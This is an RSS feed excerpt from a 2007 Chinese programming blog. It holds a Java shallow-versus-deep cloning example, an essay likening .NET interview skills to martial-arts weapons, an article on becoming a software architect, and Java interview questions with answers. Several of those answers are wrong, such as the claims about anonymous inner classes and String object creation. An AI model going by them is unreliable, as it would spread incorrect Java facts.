								<span style="COLOR: #000000"> prototype;<br /><img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/None.gif" align="top" /><br /><img id="_941_1402_Open_Image" onclick="this.style.display='none'; document.getElementById('_941_1402_Open_Text').style.display='none'; document.getElementById('_941_1402_Closed_Image').style.display='inline'; document.getElementById('_941_1402_Closed_Text').style.display='inline';" alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/ExpandedBlockStart.gif" align="top" /><img id="_941_1402_Closed_Image" style="DISPLAY: none" onclick="this.style.display='none'; document.getElementById('_941_1402_Closed_Text').style.display='none'; document.getElementById('_941_1402_Open_Image').style.display='inline'; document.getElementById('_941_1402_Open_Text').style.display='inline';" alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/ContractedBlock.gif" align="top" /></span>
								<span style="COLOR: #0000ff">public</span>
								<span style="COLOR: #000000"> </span>
								<span style="COLOR: #0000ff">class</span>
								<span style="COLOR: #000000"> Client </span>
								<span id="_941_1402_Closed_Text" style="BORDER-RIGHT: #808080 1px solid; BORDER-TOP: #808080 1px solid; DISPLAY: none; BORDER-LEFT: #808080 1px solid; BORDER-BOTTOM: #808080 1px solid; BACKGROUND-COLOR: #ffffff">...</span>
								<span id="_941_1402_Open_Text">
										<span style="COLOR: #000000">{<br /><img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/InBlock.gif" align="top" />    <br /><img id="_1002_1399_Open_Image" onclick="this.style.display='none'; document.getElementById('_1002_1399_Open_Text').style.display='none'; document.getElementById('_1002_1399_Closed_Image').style.display='inline'; document.getElementById('_1002_1399_Closed_Text').style.display='inline';" alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/ExpandedSubBlockStart.gif" align="top" /><img id="_1002_1399_Closed_Image" style="DISPLAY: none" onclick="this.style.display='none'; document.getElementById('_1002_1399_Closed_Text').style.display='none'; document.getElementById('_1002_1399_Open_Image').style.display='inline'; document.getElementById('_1002_1399_Open_Text').style.display='inline';" alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/ContractedSubBlock.gif" align="top" />    </span>
										<span style="COLOR: #0000ff">public</span>
										<span style="COLOR: #000000"> </span>
										<span style="COLOR: #0000ff">static</span>
										<span style="COLOR: #000000"> </span>
										<span style="COLOR: #0000ff">void</span>
										<span style="COLOR: #000000"> main(String[] args) </span>
										<span style="COLOR: #0000ff">throws</span>
										<span style="COLOR: #000000"> Exception </span>
										<span id="_1002_1399_Closed_Text" style="BORDER-RIGHT: #808080 1px solid; BORDER-TOP: #808080 1px solid; DISPLAY: none; BORDER-LEFT: #808080 1px solid; BORDER-BOTTOM: #808080 1px solid; BACKGROUND-COLOR: #ffffff">...</span>
										<span id="_1002_1399_Open_Text">
												<span style="COLOR: #000000">{<br /><img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/InBlock.gif" align="top" />        ConcretePrototype originate, cloned, deepCloned;<br /><img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/InBlock.gif" align="top" />        originate </span>
												<span style="COLOR: #000000">=</span>
												<span style="COLOR: #000000"> </span>
												<span style="COLOR: #0000ff">new</span>
												<span style="COLOR: #000000"> ConcretePrototype();<br /><img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/InBlock.gif" align="top" /><br /><img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/InBlock.gif" align="top" />        Thread.sleep(</span>
												<span style="COLOR: #000000">2000</span>
												<span style="COLOR: #000000">);<br /><img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/InBlock.gif" align="top" /><br /><img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/InBlock.gif" align="top" />        cloned </span>
												<span style="COLOR: #000000">=</span>
												<span style="COLOR: #000000"> (ConcretePrototype)originate.flatClone();<br /><img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/InBlock.gif" align="top" />        deepCloned </span>
												<span style="COLOR: #000000">=</span>
												<span style="COLOR: #000000"> (ConcretePrototype)originate.deepClone();<br /><img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/InBlock.gif" align="top" />        System.out.println(originate);<br /><img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/InBlock.gif" align="top" />        System.out.println(cloned);<br /><img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/InBlock.gif" align="top" />        System.out.println(deepCloned);<br /><img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/InBlock.gif" align="top" />        originate.printPart();<br /><img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/InBlock.gif" align="top" />        cloned.printPart();<br /><img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/InBlock.gif" align="top" />        deepCloned.printPart();<br /><img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/ExpandedSubBlockEnd.gif" align="top" />    }</span>
										</span>
										<span style="COLOR: #000000">
												<br />
												<img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/InBlock.gif" align="top" />
												<br />
												<img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/ExpandedBlockEnd.gif" align="top" />}</span>
								</span>
								<span style="COLOR: #000000">
										<br />
										<img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/None.gif" align="top" />
								</span>
						</div>
				</div>
		</div>  
<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'"><font size="3">    下面是这段代码的打印：</font></span></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'"><a href="mailto:prototype.ConcretePrototype@1034bb5">prototype.ConcretePrototype@1034bb5</a><br /><a href="mailto:prototype.ConcretePrototype@19efb05">prototype.ConcretePrototype@19efb05</a><br /><a href="mailto:prototype.ConcretePrototype@723d7c">prototype.ConcretePrototype@723d7c</a><br /><a href="mailto:prototype.ConcretePrototype$Part@b162d5">prototype.ConcretePrototype$Part@b162d5</a><br /><a href="mailto:prototype.ConcretePrototype$Part@b162d5">prototype.ConcretePrototype$Part@b162d5</a><br /><a href="mailto:prototype.ConcretePrototype$Part@22c95b">prototype.ConcretePrototype$Part@22c95b</a></span></p><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'"><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'"><font face="Times New Roman" size="3">        可以看出，打印的前三行各不相同，这说明通过浅复制和深复制，所得到的对象都是与原对象不同的；打印的后三行中有两行相同，这说明，在浅复制时，成员对象的实体没有被复制，只是复制了其句柄，而深复制时，成员对象的实体也被复制了。</font></span></p></span><img src ="http://www.cnitblog.com/weitom1982/aggbug/24782.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/weitom1982/" target="_blank">高山流水</a> 2007-03-27 19:45 <a href="http://www.cnitblog.com/weitom1982/archive/2007/03/27/24782.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>七种武器——.NET工程师求职面试必杀技(zz)</title><link>http://www.cnitblog.com/weitom1982/archive/2007/03/27/24780.html</link><dc:creator>高山流水</dc:creator><author>高山流水</author><pubDate>Tue, 27 Mar 2007 11:09:00 GMT</pubDate><guid>http://www.cnitblog.com/weitom1982/archive/2007/03/27/24780.html</guid><wfw:comment>http://www.cnitblog.com/weitom1982/comments/24780.html</wfw:comment><comments>http://www.cnitblog.com/weitom1982/archive/2007/03/27/24780.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/weitom1982/comments/commentRss/24780.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/weitom1982/services/trackbacks/24780.html</trackback:ping><description><![CDATA[七种武器——.NET工程师求职面试必杀技 <br />一、.NET框架（七种武器之孔雀翎） <br /><br />开发人员应该熟悉.NET FrameWork体系结构和基本原理，熟悉CLR（公共语言运行时）和MSIL(中间语言)，熟悉.NET框架中的委托、线程、序列化、集合、垃圾回收机制、反射等内容。 <br /><br />（世界上绝没有一种暗器能比孔雀翎更厉害，也绝没有一种武器能比孔雀翎更美丽……孔雀翎娇小的身躯中隐藏着巨大的威力…….NET框架的博大精深，正如同孔雀翎一样美丽而深不可测。） <br /><br />二、面向对象软件开发（七种武器之霸王枪） <br /><br />开发人员应该熟悉面向对象软件开发(OOP)基本概念，熟悉面向对象软件开发中的类、继承、封装、多态等概念，具备良好的面向对象软件开发思想和设计原则。 <br /><br />（霸王，力拔山兮气盖世。枪，百兵之祖是为枪……霸王枪是世上最霸道的兵器之一……正如面向对象软件开发，它大小通吃，不论是采用何种软件开发框架，还是使用不同的开发语言，面向对象软件开发在其中畅通无阻，霸气十足。） <br /><br />三、C# (七种武器之离别钩) <br /><br />开发人员应该熟练掌握C#这门面向对象编程语言，虽然.NET框架支持多种编程语言，但C#无疑是最简洁、使用者最广泛和功能最强大的一种。 <br /><br />（离别钩是一件武器，无论钩住人的任何部位，都能造成离别……但使用它的初衷却是为了能够与所爱的人相聚……C#是一门年轻的语言，它的出现，让更多的开发者爱上了C#，脱离了VB和ASP的阵营，造成离别。） <br /><br />四、ASP.NET（七种武器之碧玉刀） <br /><br />开发人员应该理解ASP.NET的页面生命周期、熟悉配置文件的格式、熟悉ASP.NET的各种服务器控件和数据控件、了解ASP.NET中的各种对象，了解ASP.NET2.0新特性。 <br /><br />（刀是最容易上手的武器，也是使用最广泛的武器……ASP.NET技术在网站开发当中的应用，正如同刀一样地使用频繁，更何况是一把华丽的碧玉刀。碧玉刀本身也是实力的象征，就如同ASP.NET在WEB开发中的位置。） <br /><br />五、数据库(七种武器之长生剑) <br /><br />开发人员需了解各种主流数据库，熟悉数据库的规范设计、精通SQL及存储过程、触发器的编写。 <br /><br />（长生剑，世上最锋利的剑，剑气威力强大而又持续不断、绵绵不息……正如同数据库一样，吸纳吞吐，化大象于无形，强力支撑着软件系统。要想在IT界获得长生，就看你数据库的功底了。） <br /><br />六、AJAX技术(JAVASCRIPT和XML)(七种武器之多情环) <br /><br />XML和JAVASCRIPT的跨平台特性，在实际软件开发中的运用越来越广泛，由于现代软件对用户界面和WEB前端的日益重视，集JAVASCRIPT和XML技术于大成的AJAX正在流行，特别是在基于WEB2.0的网站开发中。 <br /><br />（多情环是一种奇特的武器。无论套住了什么，立刻就紧紧地缠住，绝不会再脱手，就像多情的恋人一样……JAVASCRIPT和XML技术已经出现多年，此前一直不痛不痒，但由于集JAVASCRIPT和XML于大成的AJAX技术的出现及其在互联网上的不断应用，又重新焕发出生命活力，就像多情的环一样，将众多的开发者牢牢系住，在2006年红透了整个IT界，2007年AJAX技术将继续红火。） <br /><br />七、软件体系架构(拳头) <br /><br />优秀的软件离不开优秀的软件体系架构，作为开发人员，要想在IT行业更进一步，需要具备系统的、良好的软件体系架构思维，从而从更高层次决定软件的整体系统框架。 <br /><br />（拳头也是一种武器。而且是无可替代的武器。当分散的五指握成拳头，它的力量又岂仅仅是原来的五倍……优良的软件体系架构是整个软件开发体系的核心，就如同拳头一样，它是直接而致命的。但有一点，不是每个人的拳头都可以用做武器的。） <br /><br />结束语：无论多可怕的武器，也比不上人类的信心。所以人类最厉害的武器。便是自己的信心。相信你自己，做最好的自己，你就会成功！ <br /><img src ="http://www.cnitblog.com/weitom1982/aggbug/24780.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/weitom1982/" target="_blank">高山流水</a> 2007-03-27 19:09 <a href="http://www.cnitblog.com/weitom1982/archive/2007/03/27/24780.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>软件架构师</title><link>http://www.cnitblog.com/weitom1982/archive/2007/03/27/24774.html</link><dc:creator>高山流水</dc:creator><author>高山流水</author><pubDate>Tue, 27 Mar 2007 07:58:00 GMT</pubDate><guid>http://www.cnitblog.com/weitom1982/archive/2007/03/27/24774.html</guid><wfw:comment>http://www.cnitblog.com/weitom1982/comments/24774.html</wfw:comment><comments>http://www.cnitblog.com/weitom1982/archive/2007/03/27/24774.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/weitom1982/comments/commentRss/24774.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/weitom1982/services/trackbacks/24774.html</trackback:ping><description><![CDATA[很多架构师都是从好的开发人员逐步过渡而来的，但并非每个好的开发人员都希望成为架构师，而且他们并不是都适合做架构师。无论您是打算进行职业转型的开发人员，还是寻找能承担体系结构设计责任的合适人选的经理，都务必对此转型过程有个清楚的了解。本文将讨论从实现专家到架构师的过渡过程。 
<p></p><p>　　在寻找优秀的指挥的时候，您首先要找的是一名优秀的音乐演奏家。但并非每个音乐演奏家都能成为优秀的指挥。架构师的专业发展方面也与此类似。越来越多的 IT 组织开始认识到良好软件体系结构的重要性，架构师职业正迅速发展为 IT 内一个独立的门类。由于要从相当小的候选范围内招募架构师，因此这就给管理带来了一些新挑战。即使人力资源部门找到了候选者，针对经验进行的筛选也比其他门类更为严格。跨越这些障碍的最快方式是要认识到，大部分好的架构师同时也是好的开发人员，因此寻找架构师人才时可能首先应该从普通开发人员中找起。招聘人员在对候选者(内部或外部)进行详细审查时，应该考虑这个观点。不过，对此资源进行挑选可能比较麻烦，因为只有极少的优秀开发人员具有成为架构师的特征或愿望。</p><p>　　本文列出了开发人员成为架构师要进行的工作。我将从可能考虑进行此转型的开发人员和评估进行此转型的开发人员的经理这两个方面来探讨这一问题。我还将提供一系列在做出这些决策时要考虑的因素。</p><p>　　<strong>个人特征</strong></p><p>　　软件开发团队和管理层之间的联系始终是 IT 中的一个关键所在。二者都倾向于以完全不同的方式考虑给定的问题。大部分相关技术都是讨论项目经理应如何跟踪和解释开发人员的进度和问题。但沟通不足的情况仍然非常普遍，而且这是项目失败的首要原因。好的架构师是解决这个问题的最有效办法。架构师的主要责任是提供开发人员和项目经理之间的共用沟通媒体。他们负责让业务规则及需求与工程实践及限制相适应，以确保成功。以下是成功架构师的一些主要特征。</p><p>　　<strong>愿意并有能力进行沟通：</strong>在开发人员中发现架构师的最有价值标准是有效的沟通。您需要技术娴熟、经验丰富的开发人员，这样的人员需要有就项目中的业务相关问题进行沟通的经历。架构师经常必须对理解方面的差距进行预计，然后才能有所贡献。他们必须愿意克服困难来确保技术和业务观点的融合。他们并不必对意见交换工作进行计划和协调;这仍然主要是项目经理的工作。他们的任务是确定表述系统设计时的最佳工具和构件，以促进有效的意见交换。他们必须能够判断当前方法显得不足而需要采用新方法的情况。写作技能也非常重要，还需要具有制作草图的技能或使用制图软件的能力。 </p><p>　　<strong>具有处理谈判细节方面的经验：</strong>架构师经常需要负责讨论系统开发的技术折衷方案。优先级的冲突可能会带来实践限制、风险规避或可能导致在各个不同业务组之间需求不同。优秀的架构师能够有效地评估技术可能性，并能在不损失项目的主要价值的前提下制订开发计划来处理各种利害关系和限制。这与前面讨论的沟通技能紧密相关，但同时也要体现架构师的技术能力。好的架构师候选者应该是经常帮助对有争议的讨论进行引导的人，能够使讨论得出新的想法，而不会使其在一个位置停滞不前。 </p><p>　　<strong>自觉主动;积极解决设计问题：</strong>架构师的日常工作目标经常并不明确。很多开发人员直接参考功能规范来列出任务清单。架构师通常则是向这些开发人员提供所需结构的人员，以便尽可能提高工作效率。好的候选者不仅进行沟通方面的工作，而且也会预计各种设计问题并加以解决——通常在没有任何具体指示的情况下自觉进行。无论所分配的职责如何，积极参与项目的开发人员都有机会从一起工作的人员中脱颖而出。 </p><p>　　<strong>抽象思维和分析：</strong>架构师必须能够理解表述模糊的概念并将其变成相关各方能够理解的项目构件。他们必须能够理解抽象概念，并以具体的语言对其进行沟通。开发人员中好的候选者经常要求或自己主动解释开发生命周期中容易混淆的问题。他们能迅速评估各种想法并将其纳入后续工作的操作建议中。</p><p>　　开发人员经常具有很强的数学能力，而好的架构师则倾向于表现出更强的口头表达能力。管理人员经常说开发人员具有“工程意识”，而这是一个用于评估架构师的非常有意义的方面。架构师应该具有很强的解决技术问题的能力，但还必须能够准确获知更为全面的人员如何与技术交互的信息。这要求具有某种形式的抽象思维(而不再是代码的细节)，这种思维能力可能较难形成。</p><p>　　有些人认为，某种级别的正式教育是成为优秀开发人员的必备条件之一，我并不同意这种精英论。我遇到了很多高中就辍学的优秀开发人员。不过，对于体系结构设计工作，我的个人经验以及我对所需能力的认识都让我相信，好的架构师通常至少获得了一个有挑战性的学士学位。</p><p>　　<strong>跟踪生命周期</strong></p><p>　　好的架构师通常有在具备定义良好的软件开发生命周期(Software Development Life Cycle，SDLC)的组织工作的经验。架构师必须理解在其所属专业内最重要的操作过程。这并不意味着需要有其他前提，例如，并不需要高能力成熟度模型(Capability Maturity Model，CMM)级别的工作经验。好的架构师可能来自使用 SDLC 的多个小型迭代的极限编程(Extreme Programming，XP)方法的组织。务必注意各种传统软件开发操作，如 Michael A. Jackson 的方法：Jackson 结构编程(Jackson Structured Programming，JSP)和 Jackson 系统开发(Jackson System Development，JSD)。Jackson 的研究对架构师职业发展的意义就像 Donald Knuth 的研究对程序员一样重要。架构师可以偏爱任何经典的、经过时间考验的软件系统开发方法。</p><p>　　SDLC 也可以成为评估架构师合适人选的有用机制。每个 SDLC 阶段都具有能提供相关线索的特征。SDLC 包含很多小的变体，但在此部分，我将使用几乎所有方法的公共基础部分。下面的列表详细说明了 SDLC 的各个阶段，并列出了好的架构师候选者在每个阶段表现出来的特征。</p><ul><li>　　<strong>分析：</strong>在分析期间，好的架构师会考虑非技术影响，以便了解需求和将在其中进行开发的环境。架构师可为风险评估任务带来广泛的软件经验供参考。寻找具有丰富经验的开发人员，以帮助业务部门理解技术人员正确解释需求所需的信息。寻找在开发的早期阶段能够预计可能遇到的问题的开发人员。 
</li><li>　　<strong>设计：</strong>在高级设计期间，好的架构师会收集问题空间的各个抽象元素，并就其进行沟通，以便开发团队草拟将要开发的系统的相关图表。架构师负责将需求谨慎地映射到所得到的系统体系结构的功能。在详细设计期间，他们所扮演的角色并不是核心角色，但为了根据整个系统的规则对特定模块的元素进行审查，仍然需要他们。寻找善于让团队能够预计设计决策对最终系统的影响的开发人员。寻找善于确定一些最佳构件来促进与技术和非技术受众沟通设计问题的开发人员。 
</li><li>　　<strong>实现：</strong>在实现期间，架构师对项目进行引导，以确保其符合系统体系结构。他们在一线评估技术更改请求，并确定如何对设计进行调整，以最好地处理此类请求。架构师还要密切了解开发人员的进度，特别要跟踪系统中模块间的集成点的状态。寻找经常对讨论进行引导来连接多个子系统的开发人员。寻找项目经理可以依赖其快速地进行与更改和出现的问题相关的风险评估的开发人员。 
</li><li>　　<strong>测试：</strong>架构师对系统集成和用户接受度测试进行指导，并负责评估进度的正确沟通的持续测试结果。寻找理解错误模式且善于将测试复查结果转换为行动计划的开发人员。 
</li><li>　　<strong>维护：</strong>在维护期间，架构师将发起关于系统集成的讨论。无论处理 IT 基础设施问题，还是确保部门之间的技术合作，架构师都必须完全理解应用程序，必须快速学习姊妹应用程序的体系结构，而且必须就集成点和风险进行有效沟通。寻找具有系统集成经验且表现出快速掌握全貌的能力的开发人员。系统集成是一项独特的任务。 </li></ul><p>　　<strong>架构师培养建议</strong></p><p>　　有些组织能比其他组织更有效地进行架构师培养。如果充分考虑到招聘此类新专业人才的困难，努力促成能鼓励开发人员发展为架构师的环境是非常明智的策略。但务必避免对不愿意或不适合走这条路的开发人员进行处罚。组织应该为开发人员制订多条发展路线，包括那些愿意继续担任开发人员的人。对架构师而言，资深开发人员不可或缺。他们可以实现系统中最关键的模块。通过对其他开发人员进行代码检查和测试支持，他们可帮助确保总体软件质量，而如果质量不能保证，即使最好的体系结构也毫无用处。</p><p>　　组织应制订个人评估程序，以鼓励开发人员考虑其职业目标，其中要包含体系结构设计的选项。应该鼓励经理在其下属中寻找体系结构设计人才。应该实现指导计划，让架构师与希望成为架构师的开发人员协作工作。应该鼓励开发人员通过参加各种协会、撰写文章和参加会议，从而参与到专业领域中来。通过这样参与进来，可帮助开发人员从新的角度理解系统，并帮助他们更好地就其认识进行沟通。这样还能培养可提高效率的重要创新想法。</p><p>　　<strong>结束语</strong></p><p>　　开发人员一旦迈出了通向体系结构设计专业方向的第一步，就可以利用很多资源来获得帮助，其中包括很多来自 IBM 的资源。有时候，此过程的最困难的部分就是第一步，而本文提供了一些线索和提示，经理和开发人员可以利用其来评估应该鼓励哪些人努力成为架构师。</p><img src ="http://www.cnitblog.com/weitom1982/aggbug/24774.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/weitom1982/" target="_blank">高山流水</a> 2007-03-27 15:58 <a href="http://www.cnitblog.com/weitom1982/archive/2007/03/27/24774.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>java面试题(转自CSDN)</title><link>http://www.cnitblog.com/weitom1982/archive/2007/03/27/24772.html</link><dc:creator>高山流水</dc:creator><author>高山流水</author><pubDate>Tue, 27 Mar 2007 07:34:00 GMT</pubDate><guid>http://www.cnitblog.com/weitom1982/archive/2007/03/27/24772.html</guid><wfw:comment>http://www.cnitblog.com/weitom1982/comments/24772.html</wfw:comment><comments>http://www.cnitblog.com/weitom1982/archive/2007/03/27/24772.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/weitom1982/comments/commentRss/24772.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/weitom1982/services/trackbacks/24772.html</trackback:ping><description><![CDATA[
		<p>第一，谈谈final, finally, finalize的区别。 </p>
		<p>　　第二，Anonymous Inner Class (匿名内部类) 是否可以extends(继承)其它类，是否可以implements(实现)interface(接口)? </p>
		<p>　　第三，Static Nested Class 和 Inner Class的不同，说得越多越好(面试题有的很笼统)。 </p>
		<p>　　第四，&amp;和&amp;&amp;的区别。 </p>
		<p>　　第五，HashMap和Hashtable的区别。 </p>
		<p>　　第六，Collection 和 Collections的区别。 </p>
		<p>　　第七，什么时候用assert。 </p>
		<p>　　第八，GC是什么? 为什么要有GC? </p>
		<p>　　第九，String s = new String("xyz");创建了几个String Object? </p>
		<p>　　第十，Math.round(11.5)等於多少? Math.round(-11.5)等於多少? </p>
		<p>　　第十一，short s1 = 1; s1 = s1 + 1;有什么错? short s1 = 1; s1 += 1;有什么错? </p>
		<p>　　第十二，sleep() 和 wait() 有什么区别? </p>
		<p>　　第十三，Java有没有goto? </p>
		<p>　　第十四，数组有没有length()这个方法? String有没有length()这个方法? </p>
		<p>　　第十五，Overload和Override的区别。Overloaded的方法是否可以改变返回值的类型? </p>
		<p>　　第十六，Set里的元素是不能重复的，那么用什么方法来区分重复与否呢? 是用==还是equals()? 它们有何区别? </p>
		<p>　　第十七，给我一个你最常见到的runtime exception。 </p>
		<p>　　第十八，error和exception有什么区别? </p>
		<p>　　第十九，List, Set, Map是否继承自Collection接口? </p>
		<p>　　第二十，abstract class和interface有什么区别? </p>
		<p>　　第二十一，abstract的method是否可同时是static,是否可同时是native，是否可同时是synchronized? </p>
		<p>　　第二十二，接口是否可继承接口? 抽象类是否可实现(implements)接口? 抽象类是否可继承实体类(concrete class)? </p>
		<p>　　第二十三，启动一个线程是用run()还是start()? </p>
		<p>　　第二十四，构造器Constructor是否可被override? </p>
		<p>　　第二十五，是否可以继承String类? </p>
		<p>　　第二十六，当一个线程进入一个对象的一个synchronized方法后，其它线程是否可进入此对象的其它方法? </p>
		<p>　　第二十七，try {}里有一个return语句，那么紧跟在这个try后的finally {}里的code会不会被执行，什么时候被执行，在return前还是后? </p>
		<p>　　第二十八，编程题: 用最有效率的方法算出2乘以8等於几? </p>
		<p>　　第二十九，两个对象值相同(x.equals(y) == true)，但却可有不同的hash code，这句话对不对? </p>
		<p>　　第三十，当一个对象被当作参数传递到一个方法后，此方法可改变这个对象的属性，并可返回变化后的结果，那么这里到底是值传递还是引用传递? </p>
		<p>　　第三十一，swtich是否能作用在byte上，是否能作用在long上，是否能作用在String上? </p>
		<p>　　第三十二，编程题: 写一个Singleton出来。</p>
		<p>　　答案请参看楼下： <br />以下是答案 </p>
		<p>　　第一，谈谈final, finally, finalize的区别。 </p>
		<p>　　final?修饰符（关键字）如果一个类被声明为final，意味着它不能再派生出新的子类，不能作为父类被继承。因此一个类不能既被声明为 abstract的，又被声明为final的。将变量或方法声明为final，可以保证它们在使用中不被改变。被声明为final的变量必须在声明时给定初值，而在以后的引用中只能读取，不可修改。被声明为final的方法也同样只能使用，不能重载finally?再异常处理时提供 finally 块来执行任何清除操作。如果抛出一个异常，那么相匹配的 catch 子句就会执行，然后控制就会进入 finally 块（如果有的话）。 </p>
		<p>　　finalize?方法名。Java 技术允许使用 finalize() 方法在垃圾收集器将对象从内存中清除出去之前做必要的清理工作。这个方法是由垃圾收集器在确定这个对象没有被引用时对这个对象调用的。它是在 Object 类中定义的，因此所有的类都继承了它。子类覆盖 finalize() 方法以整理系统资源或者执行其他清理工作。finalize() 方法是在垃圾收集器删除对象之前对这个对象调用的。 </p>
		<p>　　第二，Anonymous Inner Class (匿名内部类) 是否可以extends(继承)其它类，是否可以implements(实现)interface(接口)? </p>
		<p>　　匿名的内部类是没有名字的内部类。不能extends(继承) 其它类，但一个内部类可以作为一个接口，由另一个内部类实现。 </p>
		<p>　　第三，Static Nested Class 和 Inner Class的不同，说得越多越好(面试题有的很笼统)。</p>
		<p>　　Nested Class （一般是C++的说法），Inner Class (一般是JAVA的说法)。Java内部类与C++嵌套类最大的不同就在于是否有指向外部的引用上。具体可见http: //www.frontfree.net/articles/services/view.asp?id=704&amp;page=1 </p>
		<p>　　注： 静态内部类（Inner Class）意味着1创建一个static内部类的对象，不需要一个外部类对象，2不能从一个static内部类的一个对象访问一个外部类对象 </p>
		<p>　　第四，&amp;和&amp;&amp;的区别。</p>
		<p>　　&amp;是位运算符。&amp;&amp;是布尔逻辑运算符。 </p>
		<p>　　第五，HashMap和Hashtable的区别。 </p>
		<p>　　都属于Map接口的类，实现了将惟一键映射到特定的值上。 </p>
		<p>　　HashMap 类没有分类或者排序。它允许一个 null 键和多个 null 值。 </p>
		<p>　　Hashtable 类似于 HashMap，但是不允许 null 键和 null 值。它也比 HashMap 慢，因为它是同步的。 </p>
		<p>　　第六，Collection 和 Collections的区别。 </p>
		<p>　　Collections是个java.util下的类，它包含有各种有关集合操作的静态方法。 <br />　　Collection是个java.util下的接口，它是各种集合结构的父接口。</p>
		<p>　　第七，什么时候用assert。 </p>
		<p>　　断言是一个包含布尔表达式的语句，在执行这个语句时假定该表达式为 true。如果表达式计算为 false，那么系统会报告一个 AssertionError。它用于调试目的： </p>
		<p>assert(a &gt; 0); // throws an AssertionError if a &lt;= 0 </p>
		<p>　　断言可以有两种形式： </p>
		<p>　　assert Expression1 ; <br />　　assert Expression1 : Expression2 ; </p>
		<p>　　Expression1 应该总是产生一个布尔值。 <br />　　Expression2 可以是得出一个值的任意表达式。这个值用于生成显示更多调试信息的 String 消息。 <br />断言在默认情况下是禁用的。要在编译时启用断言，需要使用 source 1.4 标记： </p>
		<p>　　javac -source 1.4 Test.java </p>
		<p>　　要在运行时启用断言，可使用 -enableassertions 或者 -ea 标记。 <br />　　要在运行时选择禁用断言，可使用 -da 或者 -disableassertions 标记。 <br />　　要系统类中启用断言，可使用 -esa 或者 -dsa 标记。还可以在包的基础上启用或者禁用断言。 </p>
		<p>　　可以在预计正常情况下不会到达的任何位置上放置断言。断言可以用于验证传递给私有方法的参数。不过，断言不应该用于验证传递给公有方法的参数，因为不管是否启用了断言，公有方法都必须检查其参数。不过，既可以在公有方法中，也可以在非公有方法中利用断言测试后置条件。另外，断言不应该以任何方式改变程序的状态。 </p>
		<p>
				<br />　　第八，GC是什么? 为什么要有GC? (基础)。 </p>
		<p>　　GC是垃圾收集器。Java 程序员不用担心内存管理，因为垃圾收集器会自动进行管理。要请求垃圾收集，可以调用下面的方法之一： </p>
		<p>　　System.gc() <br />　　Runtime.getRuntime().gc() </p>
		<p>　　第九，String s = new String("xyz");创建了几个String Object? </p>
		<p>　　两个对象，一个是“xyx”,一个是指向“xyx”的引用对象s。 </p>
		<p>　　第十，Math.round(11.5)等於多少? Math.round(-11.5)等於多少? </p>
		<p>　　Math.round(11.5)返回（long）12，Math.round(-11.5)返回（long）-11; </p>
		<p>　　第十一，short s1 = 1; s1 = s1 + 1;有什么错? short s1 = 1; s1 += 1;有什么错? </p>
		<p>　　short s1 = 1; s1 = s1 + 1;有错，s1是short型，s1+1是int型,不能显式转化为short型。可修改为s1 =(short)(s1 + 1) 。short s1 = 1; s1 += 1正确。 </p>
		<p>　　第十二，sleep() 和 wait() 有什么区别? 搞线程的最爱 </p>
		<p>　　sleep()方法是使线程停止一段时间的方法。在sleep 时间间隔期满后，线程不一定立即恢复执行。这是因为在那个时刻，其它线程可能正在运行而且没有被调度为放弃执行，除非(a)“醒来”的线程具有更高的优先级，(b)正在运行的线程因为其它原因而阻塞。 </p>
		<p>　　wait()是线程交互时，如果线程对一个同步对象x 发出一个wait()调用，该线程会暂停执行，被调对象进入等待状态，直到被唤醒或等待时间到。<br /><br />第十三，Java有没有goto? </p>
		<p>　　Goto?java中的保留字，现在没有在java中使用。 </p>
		<p>　　第十四，数组有没有length()这个方法? String有没有length()这个方法？ </p>
		<p>　　数组没有length()这个方法，有length的属性。 <br />　　String有有length()这个方法。 </p>
